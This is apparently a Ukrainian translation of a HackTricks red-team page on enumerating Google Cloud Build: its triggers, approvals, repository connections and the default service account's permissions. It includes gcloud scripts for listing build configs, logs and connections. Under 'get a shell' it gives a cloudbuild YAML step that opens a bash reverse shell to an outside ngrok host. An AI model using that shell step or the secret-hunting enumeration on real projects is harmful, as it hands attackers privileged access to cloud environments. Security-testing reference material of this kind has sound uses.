GCP - Cloud Build Enum

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Основна інформація

Google Cloud Build - це керована платформа CI/CD, яка автоматизує процеси збірки програмного забезпечення та випуску, інтегрується з репозиторіями вихідного коду та підтримує широкий спектр мов програмування. Вона дозволяє розробникам автоматично збирати, тестувати та розгортати код, надаючи можливість налаштувати кроки збірки та робочі процеси.

Кожен тригер Cloud Build пов'язаний з хмарним репозиторієм або безпосередньо підключений до зовнішнього репозиторію (Github, Bitbucket та Gitlab).

Я не бачив способу вкрасти токен Github/Bitbucket звідси або з Cloud Repositories, оскільки коли репозиторій завантажується, до нього звертаються за допомогою URL-адреси https://source.cloud.google.com/, а Github не використовується клієнтом.

Події

Cloud Build може бути запущений, якщо:

  • Push до гілки: Вкажіть гілку

  • Push нового тегу: Вкажіть тег

  • Pull request: Вкажіть гілку, яка отримує PR

  • Ручне викликання

  • Повідомлення Pub/Sub: Вкажіть тему

  • Подія веб-хука: Буде викладено URL-адресу HTTPS, а запит повинен бути автентифікований за допомогою секрета

Виконання

Є 3 варіанти:

  • Yaml/json з вказанням команд, які потрібно виконати. Зазвичай: /cloudbuild.yaml

  • Єдиний, який можна вказати "вбудовано" в веб-консолі та в cli

  • Найпоширеніший варіант

  • Важливий для неаутентифікованого доступу

  • Dockerfile для збірки

  • Buildpack для збірки

Дозволи SA

Сервісний обліковий запис має область cloud-platform, тому він може використовувати всі привілеї. Якщо не вказано SA (наприклад, при виконанні), буде використовуватися типовий SA <номер-проекту>@cloudbuild.gserviceaccount.com.

За замовчуванням дозволи не надаються, але досить легко надати їх:

Затвердження

Можливо налаштувати Cloud Build для вимоги затверджень для виконання збірок (за замовчуванням вимкнено).

Затвердження PR

Оскільки тригер - це PR, оскільки будь-хто може виконувати PR до публічних репозиторіїв, було б дуже небезпечно просто дозволити виконання тригера з будь-яким PR. Тому за замовчуванням виконання буде автоматичним для власників та співробітників, і для виконання тригера з PR інших користувачів власник або співробітник повинен залишити коментар /gcbrun.

Підключення та Репозиторії

Підключення можна створити через:

  • GitHub: Він покаже вікно OAuth, яке попросить дозволу на отримання токена Github, який буде збережено в Менеджері секретів.

  • GitHub Enterprise: Він попросить встановити GithubApp. Буде створено та збережено в цьому проекті аутентифікаційний токен з вашого хоста GitHub Enterprise як секрет Менеджера.

  • GitLab / Enterprise: Потрібно надати токен доступу до API та токен доступу до Read API, які будуть збережені в Менеджері секретів.

Після створення підключення можна використовувати його для пов'язання репозиторіїв, до яких має доступ обліковий запис Github.

Цей варіант доступний за допомогою кнопки:

Зверніть увагу, що репозиторії, підключені цим методом, доступні лише в тригерах, що використовують 2-е покоління.

Підключення Репозиторію

Це не те саме, що підключення. Це дозволяє різні способи отримання доступу до репозиторію Github або Bitbucket, але не генерує об'єкт підключення, але генерує об'єкт репозиторію (1-го покоління).

Цей варіант доступний за допомогою кнопки:

Зберігання

Іноді Cloud Build створює нове сховище для зберігання файлів для тригера. Це стається, наприклад, у прикладі, який пропонує GCP з:

git clone https://github.com/GoogleCloudBuild/cloud-console-sample-build && \
cd cloud-console-sample-build && \
gcloud builds submit --config cloudbuild.yaml --region=global

Створено сховище з назвою security-devbox_cloudbuild, щоб зберігати файл .tgz з файлами, які будуть використовуватися.

Отримати оболонку

steps:
- name: bash
script: |
#!/usr/bin/env bash
bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/12395 0>&1
options:
logging: CLOUD_LOGGING_ONLY

Встановіть gcloud всередині cloud build:

# https://stackoverflow.com/questions/28372328/how-to-install-the-google-cloud-sdk-in-a-docker-image
curl https://dl.google.com/dl/cloudsdk/release/google-cloud-sdk.tar.gz > /tmp/google-cloud-sdk.tar.gz
mkdir -p /usr/local/gcloud
tar -C /usr/local/gcloud -xvf /tmp/google-cloud-sdk.tar.gz
/usr/local/gcloud/google-cloud-sdk/install.sh

Перелік

Ви можете знайти чутливу інформацію в конфігураціях збірки та журналах.

# Get configured triggers configurations
gcloud builds triggers list # Check for the words github and bitbucket
gcloud builds triggers describe <trigger-name>

# Get build executions
gcloud builds list
gcloud builds describe <build-uuid> # Get even the build yaml if defined in there
gcloud builds log <build-uuid> # Get build logs

# List all connections of each region
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build connections in region: $region"
connections=("${(@f)$(gcloud builds connections list --region="$region" --format='value(name)')}")
if [[ ${#connections[@]} -eq 0 ]]; then
echo "No connections found in region $region."
else
for connection in $connections; do
echo "Describing connection $connection in region $region"
gcloud builds connections describe "$connection" --region="$region"
echo "-----------------------------------------"
done
fi
echo "========================================="
done

# List all worker-pools
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build worker-pools in region: $region"
gcloud builds worker-pools list --region="$region"
echo "-----------------------------------------"
done

Підвищення привілеїв

pageGCP - Cloudbuild Privesc

Неаутентифікований доступ

pageGCP - Cloud Build Unauthenticated Enum

Післяексплуатаційна діяльність

pageGCP - Cloud Build Post Exploitation
Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated